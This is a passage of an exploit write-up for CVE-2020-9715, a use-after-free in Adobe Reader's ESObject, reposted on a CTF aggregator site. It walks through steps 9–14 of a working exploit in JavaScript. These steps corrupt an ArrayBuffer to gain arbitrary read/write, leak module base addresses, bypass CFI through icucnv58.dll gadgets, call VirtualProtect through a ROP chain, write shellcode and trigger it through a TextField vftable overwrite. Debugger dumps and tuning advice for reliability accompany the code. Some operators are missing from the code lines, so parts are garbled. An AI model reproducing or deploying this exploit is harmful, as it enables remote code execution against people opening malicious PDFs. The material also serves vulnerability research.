  9. Use fake Array to overwrite ArrayBuffer byteLengthRecall in step 1 that _elem_offset = 0x0f0f0038 - 0x0f0e0058; The first cell of the Array would start from offset 0xFFE0 at the end of current ArrayBuffer, 0x14000038 in our case. This would write the pair (0, 0xFFFFFF81) after 0x10 bytes, right at the 1st and 2nd DWORD in the ArrayBuffer header. The 1st DWORD is always 0 so left untouched, and the byteLength field is changed to 0xFFFFFF81. Effectively giving us global read and write capability with just one overwrite.
    1.  
    2. /* 9. Use fakeArrObj to overwrite the ArrayBuffer’s byteLength */
    3. fakeArrObj[2] = 0;
  10. Leak AcroForm.api baseAfter trial and error, we can leak AcroForm.api base from an XMLNode object, by assigning the object to a cell of the fake Array, to later read the pointer out with our global read primitive, as the code below:
    1.  
    2. /* 10. Create a Field object as an element of fakeArrObj:
    3. * – This stores a pointer to the Field object into ArrayBuffer
    4. * – Later to leak AcroForm.api base from this pointer
    5. */
    6. var oNodes = XMLData.parse(“<a></a>”, false); // AB[0,1] = (ptr,0xffffff87)
    7. fakeArrObj[4] = oNodes;
    8. var field1 = this.getField(“Field1”);
    9. fakeArrObj[6] = field1;

    We’ve also assigned a TextField object into fakeArrObj[6] in order to execute shellcode later.

  11. Locate corrupted ArrayBufferWith the byteLength field being corrupted, we can find the ArrayBuffer in the spray array.
    1.  
    2. /* 11. Locate the corrupted ArrayBuffer */
    3. for(var i = 0; i <spray_size; i ++)
    4. {
    5. if (spray_arr1[i].byteLength != 0xffe8)
    6. {
    7. console.println(“[+] R/W ArrayBuffer: byteLen = “ +
    8. spray_arr1[i].byteLength + “, index = “ + i);
    9. break;
    10. }
    11. }
    12.  
    13. if (i == spray_size) {
    14. console.println(“[-] Corrupted ArrayBuffer not found.”);
    15. return;
    16. }
  12. Prepare a DataView object to build AAR/AAW primitive
    1.  
    2. /* 12. Prepare a DataView for the ArrayBuffer (11) to build AAR/AAW primitive */
    3. g_DV = new DataView(spray_arr1[i]);

    We can now use this ArrayBuffer to create global read / write primitives:

    1.  
    2. /* global R/W */
    3. var g_DV = null;
    4. var g_base = spray_base + 0x10000 + 0x10;
    5. var arr_elem = g_base 0x20;
    6.  
    7. function g_read(addr) {
    8. return g_DV.getUint32((0x100000000 + addr g_base) & 0xffffffff, true);
    9. }
    10. function g_write(addr, val) {
    11. g_DV.setUint32((0x100000000 + addr g_base) & 0xffffffff, val, true);
    12. }

    A first application is to leak EScript.api base by reading the vftable of the DataViewcode> object:

    1.  
    2. var escript_base = g_read(g_read(spray_base + 8) + 0xc) 0x275528; // 0x0f0e0048
    3. console.println(“[+] EScript.api: 0x” + escript_base.toString(16));
  13. Prepare ROP chain and shellcodeFor this part we’ve referenced heavily to [4], and reused a good part of the code from it. It is similar that most modules in Adobe Reader DC now has CFI enabled, so simply replacing a vftable pointer to kick start shellcode would not work, such as the old bookmarkRoot trick used in CVE-2018-4990:
    1.  
    2. //Testing by setting offset +0x600 to 0x41414141, blocked by CFI in EScript:
    3. var objescript = g_read(escript_base + 0x2753EC);
    4. var bkm = this.bookmarkRoot;
    5. g_write(objescript + 0x600, 0x41414141);
    6. bkm.execute();
    1. ; The calling code to bkm.execute()
    2. .text:0003D681 mov ecx, dword_2753EC
    3. .text:0003D687 push esi ; uintptr_t
    4. .text:0003D688 push eax ; unsigned int
    5. .text:0003D689 push [ebp+var_8] ; wchar_t *
    6. .text:0003D68C mov esi, [ecx+600h]
    7. .text:0003D692 mov ecx, esi
    8. .text:0003D694 push ebx ; wchar_t *
    9. .text:0003D695 call ds:___guard_check_icall_fptr
    10. .text:0003D69B call esi ; bkm.execute()
    11. .text:0003D69D mov esi, [edi+0Ch]
    12. ; result in CFI exception, note that ESI is 0x41414141:
    13. First chance exceptions are reported before any exception handling.
    14. This exception may be expected and handled.
    15. eax=00414141 ebx=505e2f38 ecx=41414141 edx=00aa0000 esi=41414141 edi=062eab78
    16. eip=77373b4b esp=02bde2e0 ebp=02bde314 iopl=0 nv up ei pl nz ac pe nc
    17. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
    18. ntdll!LdrpValidateUserCallTargetBitMapCheck:
    19. 77373b4b 8b1482 mov edx,dword ptr [edx+eax*4] ds:0023:01af0504=????????
    20. 0:000> kb
    21. # ChildEBP RetAddr Args to Child
    22. 00 02bde2dc 5046d69b 505e2f38 00000003 0d151ff8 ntdll!LdrpValidateUserCallTargetBitMapCheck
    23. 01 02bde314 5046d579 09ac4d58 505e2f38 0d1af638 EScript!mozilla::HashBytes+0x2d0eb
    24. 02 02bde330 5046d555 0d1af638 505e2f38 09ac4d58 EScript!mozilla::HashBytes+0x2cfc9
    25. 03 02bde34c 5047034a 09ac4d58 00000000 505e2f38 EScript!mozilla::HashBytes+0x2cfa5

    Following [4], we can verify that icucnv58.dll does not have CFI enabled and there are some pointers to the module in AcroForm.api. We use fakeArrObj[4] from step 10 to leak the base address:

    1.  
    2. var xfaobj_addr = g_read(g_read(arr_elem + 0x20) + 0x10); // [4] at 0x0f0f0058
    3. var acroform_base = g_read(xfaobj_addr + 0x28) 0x129f90;
    4. console.println(“[+] AcroForm.api: 0x” + acroform_base.toString(16));

    However it is not all simply just an XFA object pointer being stored in the Array with type value 0xffffff87. There are several layers of encapsulation from JSObject to ESObject, then to the XFA Object:

    1. ; Check the oNodes object we used for leaking AcroForm base:
    2. ; var oNodes = XMLData.parse(“<a></a>”, false); // AB[0,1] = (ptr,0xffffff87)
    3. ; fakeArrObj[4] = oNodes;
    4. 0:009> dd 0f0f0048-20
    5. 0f0f0028 00000000 00000028 00000040 00000028
    6. 0f0f0038 00000000 00000000 08971766 08a2214a
    7. 0f0f0048 00000000 ffffff81 09c31450 00000000
    8. 0f0f0058 09c299c0 ffffff87 00000000 0f0f0038 ; [0] -> JSObject
    9. ; the store pointer 09c299c0 at fakeArrObj[4] is JSObject (SpiderMonkey)
    10. 0:009> dd 09c299c0
    11. 09c299c0 09c27448 09c25bc0 09714230 506a5528
    12. 09c299d0 0a7c0258 00000000 09c1ec40 ffffff87 ; [0] -> ESObject
    13. ; the 5-th dword 0a7c0258 of JSObject is an ESObject
    14. 0:009> dd 0a7c0258
    15. 0a7c0258 095eb8b8 09c299c0 00000000 097ed778 ; [1] -> JSObject
    16. 0a7c0268 0a72b370 097142b8 00000000 00000000 ; [0] -> Private Property Table
    17. 0a7c0278 09715330 00000000 086f9f90 08a49dd0 ; [2] -> leak AcroForm.api base
    18. 0a7c0288 00000000 08780810 00000000 086f9ca0
    19. 0a7c0298 00000000 00000000
    20. 0:009> !heap -p -a 0a7c0258
    21. address 0a7c0258 found in
    22. _HEAP @ 2bb0000
    23. HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
    24. 0a7c0250 000a 0000 [00] 0a7c0258 00048 – (busy)

    By dumping pointers from AcroForm.api, we managed to find the following:

    1. 0935abe0 519d1e03 icucnv58!ucnv_open_58
    2. 0935abe4 519d06c1 icucnv58!ucnv_close_58
    3. 0935abe8 519d2201 icucnv58!ucnv_setSubstChars_58
    4. 0935abec 519d08e1 icucnv58!ucnv_convertEx_58
    5. 0935abf0 519ea0ae icucnv58!udata_setCommonData_58

    Now we can leak the base of icucnv58.dll to build the ROP chain.

    1.  
    2. var icucnv58_base = g_read(acroform_base + 0xc3abe0) 0x11e03;
    3. console.println(“[+] icucnv58.dll: 0x” + icucnv58_base.toString(16));
    4.  
    5. // a86f5089230164fb6359374e70fe1739 – md5sum of icucnv58.dll
    6. g1 = icucnv58_base + 0x919d4 + 0x1000; //mov esp, ebx ; pop ebx ; ret
    7. g3 = icucnv58_base + 0x37e50 + 0x1000; //pop esp; ret

    We use the same trigger as [4]. As prepared in step 10, we assign a TextField object into fakeArrObj[6]. Following similar analysis to the XMLNode object, we can find the actual TextField object hence its vftable pointers:

    1.  
    2. // .rdata:007E677C ; const CTextField::’vftable’
    3. var f1_jsobj = g_read(arr_elem + 0x30); // 0x0f0f0068
    4. var f1_esobj = g_read(f1_jsobj + 0x10);
    5. var f1_txobj = g_read(g_read(g_read(f1_esobj + 0x10) + 0xc) + 0x4);
    6. console.println(“[+] TextField object: 0x” + f1_txobj.toString(16));
    1. ; fakeArrObj[6] = this.getField(“Field1”);
    2. 0f0f0058 0a3299c0 ffffff87 00000000 0f0f0038
    3. 0f0f0068 0a329a10 ffffff87 00000000 00000000
    4. 0:009> dd 0a329a10 ; JSObject
    5. 0a329a10 0a32fe68 0a3259a0 11999618 7adc5528
    6. 0a329a20 0aecdb68 00000000 0a3241f0 ffffff87
    7. 0:009> dd 0aecdb68 ; ESObject
    8. 0aecdb68 09ce6f50 0a329a10 00000000 0adb0df0 ; [3] -> “Field”
    9. 0aecdb78 0ae36cb8 00000000 00000000 00000000 ; [0] -> 11a4c7a8
    10. 0aecdb88 0ae36768 00000000 00000000 00000000
    11. 0aecdb98 00000000 08f527d0 00000000 00000000
    12. 0aecdba8 00000000 00000000
    13. ; The address of the field object: ESObject[4][3]+4

    After the actual TextField object is found, we proceed with a similar technique as the trigger [4].

    1.  
    2. GUESS = g_base + 0x30;
    3.  
    4. /* copy CTextField vftable */
    5. var tx_vftable = g_read(f1_txobj);
    6. console.println(“[+] TextField vtable: 0x” + tx_vftable.toString(16));
    7. for(var i=0; i < 32; i++)
    8. g_write(GUESS+64+i*4, g_read(tx_vftable+i*4)); // copy 0x20 entries
    9.  
    10.  
    11. /* replace the trigger pointer */
    12. g_write(GUESS+64+0x18*4, g1); // replace vftable[0x18]
    13.  
    14. /* 1st rop chain */
    15. MARK_ADDR = f1_txobj;
    16. g_write(MARK_ADDR+4, g3);
    17. g_write(MARK_ADDR+8, GUESS+0xc0);
    18.  
    19. /* 2nd rop chain */
    20. rop = [
    21. g_read(escript_base + 0x01AF058), // VirtualProtect 2020.009.20063
    22. GUESS+0x120, // return address
    23. GUESS+0x120, // buffer
    24. 0x1000, // sz
    25. 0x40, // new protect
    26. GUESS0x10 // old protect
    27. ];
    28.  
    29. for(var i=0; i < rop.length; i++)
    30. g_write(GUESS+0xc0+4*i, rop[i]);
    31.  
    32. shellcode = [
    33. 835867240, 1667329123, 1415139921, 1686860336, 2339769483,
    34. 1980542347, 814448152, 2338274443, 1545566347, 1948196865,
    35. 4270543903, 605009708, 390218413, 2168194903, 1768834421,
    36. 4035671071, 469892611, 1018101719, 2425393296 ];
    37.  
    38. for(var i=0; i < shellcode.length; i++)
    39. g_write(GUESS+0x120+i*4, re(shellcode[i]));
  14. Code ExecutionWe choose to overwrite vftable[0x18] after testing many of the functions of a TextField. Then we swap the fake vftable with the real one for field1. The actual trigger as below:
    1.  
    2. /* overwrite TextField object vftable */
    3. g_write(MARK_ADDR, GUESS+64);
    4.  
    5. field1.delay = true;
    6. field1.delay = false;

    By fine tuning the spray amount and spray offset, the exploit can be made very reliable. The parameters for tuning are:

    1. spray_base, currently at 0x14000048; also used in constructing esobj_str.
    2. spray_size, currently 0xd00.
    3. afterGC() timeout, currently at 10 milliseconds.

    Choices of spray_base and spray_size should give a good (if not the best) chance that spray_base falls into the sprayed ArrayBuffer objects, for a specific or multiple versions of OS and Reader combination. Meanwhile spray_size also affect the memory footprint. For the timeout, generally the smaller value, the higher chance that the key step of controlling the freed ESObject and assigning the crafted Array JSObject address from ESObject would succeed.

    CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability

 

References

  1. Abdul-Aziz Hariri and Mat Powell, CVE-2020-9715: Exploiting a Use-After-Free in Adobe Reader
  2. Ke Liu (@klotxl404), Pwning Adobe Reader Multiple Times with Malformed Strings
  3. Patroklos Argyroudis (@argp), OR’LYEH? The Shadow over Firefox
  4. Phan Thanh Duy (@PTDuy), TianFu Cup 2019: Adobe Reader Exploitation
  5. Sebastian Apelt (@bitshifter123), sample_exploit_0write.js

原文始发于Blog Post Title | PixiePoint Security:CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability

版权声明:admin 发表于 2022年1月13日 下午1:39。
转载请注明:CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...